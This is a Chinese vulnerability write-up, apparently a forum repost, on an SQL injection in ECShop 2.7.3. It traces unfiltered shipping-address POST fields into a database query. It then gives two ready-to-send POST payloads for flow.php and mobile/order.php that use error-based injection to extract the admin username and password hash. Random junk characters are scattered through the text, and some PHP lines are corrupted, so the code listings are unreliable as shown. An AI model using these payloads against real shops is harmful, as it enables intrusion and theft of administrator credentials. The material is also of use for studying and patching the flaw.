前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
# k1 J3 v. {. J3 H5 X1 O0 w$ N( B7 }' x s* c
漏洞关键文件:6 a* W! p3 \) A$ ]* x
9 b6 H4 Q& m# T
/includes/lib_order.php
. ?8 I1 r3 O F- l" g0 I. ~1 B9 o+ H' G6 x- o/ H
关键函数:
1 y) ~! p8 T- ~ \4 P
3 M# o& W V: @$ G
" e& O& O( M/ O; B6 v& ?" L& \
: W# m1 R; j. T$ X7 o7 A01 function available_shipping_list($region_id_list)
! n8 ^7 h+ y/ U0 V C) N2 M, X5 B2 P7 h" F% G6 n! E4 ^2 r- a0 ] p
02 {
) L4 T( x+ a( S: s- S+ V) L3 K3 l8 w$ a+ B4 m' T1 _# V
03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
+ }; {0 i" i9 U! n+ _( ]$ u/ P2 R6 g8 b. y( d; \6 t2 ~% Q
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
: \0 b- h _( X: Q0 B" _' e' V5 x2 o! Z! Y r
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . + G" S& \" [ g& o% m8 P
6 f y6 p! x) D8 U# d( r( c# ^
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . 4 _. q! p. W# _8 I+ l, L1 d
: L& J' q; I8 g+ a* H* C9 v
07 $GLOBALS['ecs']->table('area_region') . ' AS r '. ( @) y$ O4 f* a
( e, s: Q0 e6 X4 h
08 'WHERE r.region_id ' . db_create_in($region_id_list) .
5 W' l/ Z# O7 \$ N* L% L
6 f$ W J! ~2 g! z0 f" L/ U5 k09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
9 Q* N4 S" R7 v, `3 n0 |' f1 x/ I: ~. s1 V2 ^8 R) l7 \0 J
10 ; e! z6 j7 _; |& o# p' l1 C
& h+ }% s2 b) `7 b- i3 j11 return $GLOBALS['db']->getAll($sql);
: {: l9 f; b. ? Z4 ?# ~8 W* T$ V! Q9 W3 c' E& `5 a9 g# e
12 } 4 t- A$ W% X) m: ^. W$ Y
, @: B! ?5 A% F5 ~+ x1 z显然对传入的参数没有任何过滤就带入了查询语句。
. v1 l# d, _$ o5 J0 X; M9 E9 P
8 l0 G) K7 j+ c8 d) B, |; O: x" C2 N下面我们追踪这个函数在flow.php中:
3 ?# h+ G2 m* D 第531行: 1 n$ g5 ^; b1 l5 t# J7 u
; m2 i. [9 ?: Z& V0 [& }! l5 |- J
1 $shipping_list = available_shipping_list($region);
8 A) i- J* t. l) z, A' z0 ~/ k( j7 C2 b& _! t
i* o2 [1 k! b! r3 \+ _
9 k7 A; p Y0 K( w# m
6 w, U2 F" L! ~' p4 V: z8 j
9 A6 _; J( K" ^2 y0 @% N再对传入变量进行追踪: j! W2 \9 t% E3 h2 E- d2 _
7 X0 Z* c' M1 ?) j$ y$ O9 f
第530行: ( Y* C( P, i' L# y7 O
; D! G3 Z" n, J# z K1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
) a6 T$ F7 h0 z; W* g0 |
) V/ I' }2 p( b- E( F( x 2 k" w6 N& Q+ I1 Q1 \& F
: ]% ]. `% k- b' Z& |' }+ U6 o5 J
) J2 J# {$ S& x$ ~+ e9 c9 `% b' q7 h
第473行: # @$ i* b. u) `3 _
6 [) w6 J" b; I$ F. E+ w" r& ~
1 $consignee = get_consignee($_SESSION['user_id']);
& C* f' ^ N- y0 w7 i% V
. P, Z/ U( ]/ y' T" E3 @5 t0 d& O4 \到了一个关键函数:
6 [0 m1 g$ D0 g6 B9 N6 T8 V" d5 Y) v0 f6 U' _2 E0 A9 N
/includes/lib_order.php( G/ ]/ A! W3 Q* r: @
. F e1 E& Y2 i1 M _
0 o: X- i, V @9 p4 ^( J" s2 }" V/ d4 y& {
& M! s- b6 u; ~1 y% @3 n" b) q6 V4 C
2 X& u; B8 |: c# b/ V4 v
01 function get_consignee($user_id) 8 h* @8 K, r* _$ c. e( } K
6 Y' W4 i3 A; w02 { 5 D% s9 \- b4 d1 P$ r
7 D6 E+ X: e6 C$ u7 {$ V5 \
03 if (isset($_SESSION['flow_consignee'])) " G: a: @% f& E: `+ Y
' ?( K, Z% S6 f' C/ D$ V( J' F04 { 9 t, X9 P3 u) }4 N
' M6 Q$ ?9 `7 A! U6 {
05 /* 如果存在session,则直接返回session中的收货人信息 */
5 {( F6 o: y/ O. v* m4 X8 f+ m( A; t' X- }- X
06
9 z- A0 ?* ]/ g F t+ {( N6 V- ?7 V5 s$ m0 k0 Z8 d |
07 return $_SESSION['flow_consignee']; ( ?4 }/ K. b; m7 j4 p q
+ y4 Z- z7 D" P' F( U# ]08 }
4 U' e8 w4 u- A9 h+ C0 A5 P9 [; J" S+ G& l2 g1 F3 j# Q1 a- m
09 else ' E7 \$ c( y7 d7 H
/ Y1 e1 ~$ {1 M0 P9 |) p& t10 {
# ~* @5 U1 v: g/ [8 r
9 k! |: p6 ^( T11 /* 如果不存在,则取得用户的默认收货人信息 */ 4 B8 J \+ g! Z* z
; J2 H0 s4 r( t1 W4 A12 $arr = array();
) p% u( M j+ U: b) T& X7 Q0 z
b0 g- s. L6 \13 # b! J) B! h. s
p5 z% T6 x* X: k& s
14 if ($user_id > 0)
, D5 W& L+ s1 X( D3 s# y
( D! _- T8 ` Y$ k# ~15 { ) e3 w: m" u2 D4 G1 A
5 f/ O3 E0 ]' ^0 }; ?- [16 /* 取默认地址 */ / K! O) o6 S! O* U5 ^7 Z
6 Q' v7 V/ }5 C6 E) P" w2 ~( N17 $sql = "SELECT ua.*".
; {. ]5 u7 J ^( B$ V9 F) Y d! M' Q* C. }7 a
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. `0 `4 ~& a6 ^. O) P5 T
5 G/ v; E2 `9 |$ Z* q# h19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
( t* Y8 l% ?# l6 |' n( A- L/ Y& G& s( r+ X+ \7 ^
20
8 F. }+ P# L# Y! v2 N. W* ^4 \, E
1 @( X5 K" }% w! z- O6 Z21 $arr = $GLOBALS['db']->getRow($sql); , C% E$ u# C: t4 v- F1 H
M! Z% Q9 N" s* i& l
22 } a* o+ d& |4 _" T( l/ {
) Q5 e2 S! `5 q
23 v1 ~7 C7 L% V( G+ C4 D
/ N* L8 c' w4 S) h5 k0 W24 return $arr;
" P3 n% I5 g; @, m8 P: c6 p" p3 `" L/ @6 p! G# i( X
25 }
' C; v- ~6 F- y! A( W! u
8 w9 m v1 k3 U% }4 }26 } 7 h: r) H; n# F: `0 k: j
" o* r7 s9 V0 a+ j; @/ Y显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
, w- p/ I! e% P% W+ s$ R' i7 B3 Z1 n7 ?0 c% k8 k0 r6 x' f3 ^
X2 |, @* j& H/ w
' Y( @+ i4 {" F* S7 ~
关键点:
8 B& K* _) ^' A* K& g9 r: C8 O1 i6 y
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
+ w7 E/ f0 l J. N; l, Z9 K; s+ ]# u* I: P: i
这里对传入参数反转义存入$_SESSION中。. D% l8 y2 C: h/ j9 T% A+ u& ?7 w
; }' ?) A% L6 ]/ S6 S {. _2 w
& P$ z( q% C) H [5 U- V9 q2 z
/ G+ F& s* n! E, \然后看下:3 E4 k/ u6 r4 n
: J/ R# T2 ?; i% r; o+ _9 {
- [( }, Q$ `/ s' e
+ G7 R2 z' D" ?/ f
0 ^, b! P8 e9 r# S
. a% F0 j I" v3 } a/ e0 K; _01 $consignee = array( 2 |; i7 A2 l% m" f
& a& _3 l3 e6 F; V1 W02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), 4 c0 i5 ]1 r9 r. y3 e* t" o8 P8 k
' \9 a1 r# n: O o, V d6 ?03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
( N4 T, W0 M8 b
. ~% R3 o) s9 _# [; A04 'country' => empty($_POST['country']) ? '' _POST['country'], $ v, z$ j; b+ I
+ e6 ?3 V' u- u' M7 F2 Y
05 'province' => empty($_POST['province']) ? '' _POST['province'],
3 ^9 J# Z0 C; l. }7 m1 R: s9 p" z N5 {% d
06 'city' => empty($_POST['city']) ? '' _POST['city'], / e v( [7 C' F3 |! N/ \$ X, B' y
3 g9 e$ f w: ?' f* t% e
07 'district' => empty($_POST['district']) ? '' _POST['district'],
& f- r0 \0 K6 I6 V" @. M, V$ m& B( I# S0 `
08 'email' => empty($_POST['email']) ? '' _POST['email'], 2 }9 {0 }8 y) z0 W, G W3 Q/ Z8 c
6 ~0 G* P* W& I" O& @0 n0 _ |09 'address' => empty($_POST['address']) ? '' _POST['address'], % k) D) g; \( u2 F3 G T% ^
& S& w4 h/ n" v& \. F
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
; k3 H3 _/ S9 _2 ~& m p/ c1 T; k8 [ g$ ^4 |9 f
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), 5 J9 s; Y* o6 l; N+ |
6 m5 h. {: H% n( x/ E
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), 7 L- s+ g3 y8 [6 e/ j/ k
+ ]2 p9 l# o9 l* J13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], ( b9 L* ?, u* k3 R% B( ~
& W/ I/ C. L. O6 J6 N14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], D+ N( }' R) W& R- Z3 R" T
, H2 b4 F# M% I! R/ d
15 );
# s4 N0 y+ i) I8 C" {4 q" {( _; k7 n! q
好了注入就这样出现了。
% m. `9 a; ~0 B; g! J5 y& l6 I2 m) p( `6 a! z: Q- Y
==================
& ~' C; B6 p D- ]
3 y$ N7 P% G8 m; D/ ]注入测试:0 S- P" G. c3 ]7 k- A5 V0 s
0 G2 n0 K& s, t2 F$ s* K/ [* l9 e环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
4 ?. G. t- J% w. K& b, B8 l, l4 m! Q4 _6 }9 i
测试程序:ECShop_V2.7.3_UTF8_release11064 p* E' C- V8 w* w; p4 f# D k6 g
9 Y: R) e: I L5 v# B) z3 W7 i5 l 9 u4 C% \& @, \5 U3 @
; [; N% C% [" l% ~: C1.首先需要点击一个商品加入购物车, N+ z. ~6 y: ]. l# _+ F
+ D8 C# Q- |% ^: \, w
2.注册一个会员帐号9 f) L& \( y7 J% w0 g/ O
t4 |% f5 I5 [: s7 |
3.post提交数据; m* h4 \( ]) ]+ o
& u9 l: P7 r" s$ l: f
1 F8 g8 k9 l" n& n: H) F! c& m, L6 a' I) k& H* |. ?, a" _: s+ u" q( C9 ]
1 http://127.0.0.1/ecshop/flow.php
9 C8 R' z7 n3 i' y- x$ ?+ u& J
8 h. [6 d6 u, v! p. b# s9 o# }2 # q' z# Q q2 x5 N9 u
1 e# y# N) \+ Q) \( h
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
7 m; l% M7 @. J0 ~3 S. k举一反三,我们根据这个漏洞我们可以继续深入挖掘:
" V5 x# g0 T o5 {. z% A; S3 R6 ]" _4 c! W1 ^% d
我们搜寻关键函数function available_shipping_list(); z2 [2 b* D1 _! I1 x* k/ g- m
# I0 p: _9 b/ A; G/ g6 k
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同 @7 T8 m6 b" Z$ I( D
6 r3 b2 z# \- r; a2 e$ O
利用exp:. b3 L! E9 J4 I
# j" F: e! {6 W% b: h1.点击一个商品,点击购买商标3 A8 k* W) K V/ P3 g n
9 r- z" B' D0 p& c; y4 |! y# I- V
2.登录会员帐号
" n5 R+ ~5 r% e+ o) R. @1 V, n, `/ K) R. O
3.post提交:
0 p2 f. a4 S" h: Z: ]
( |! x1 y$ R8 Y' b4 @: Shttp://127.0.0.1/ecshop/mobile/order.php
& a& Z |& E- U, l3 k/ [3 Q' U/ T- C8 r
9 j. Q [0 A3 U# g' U% t8 i: m8 N0 G4 i5 H
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
: t& h$ `1 w2 w+ n; @6 v
9 q" X/ Q# c; k9 D! \7 S# [: M/ d |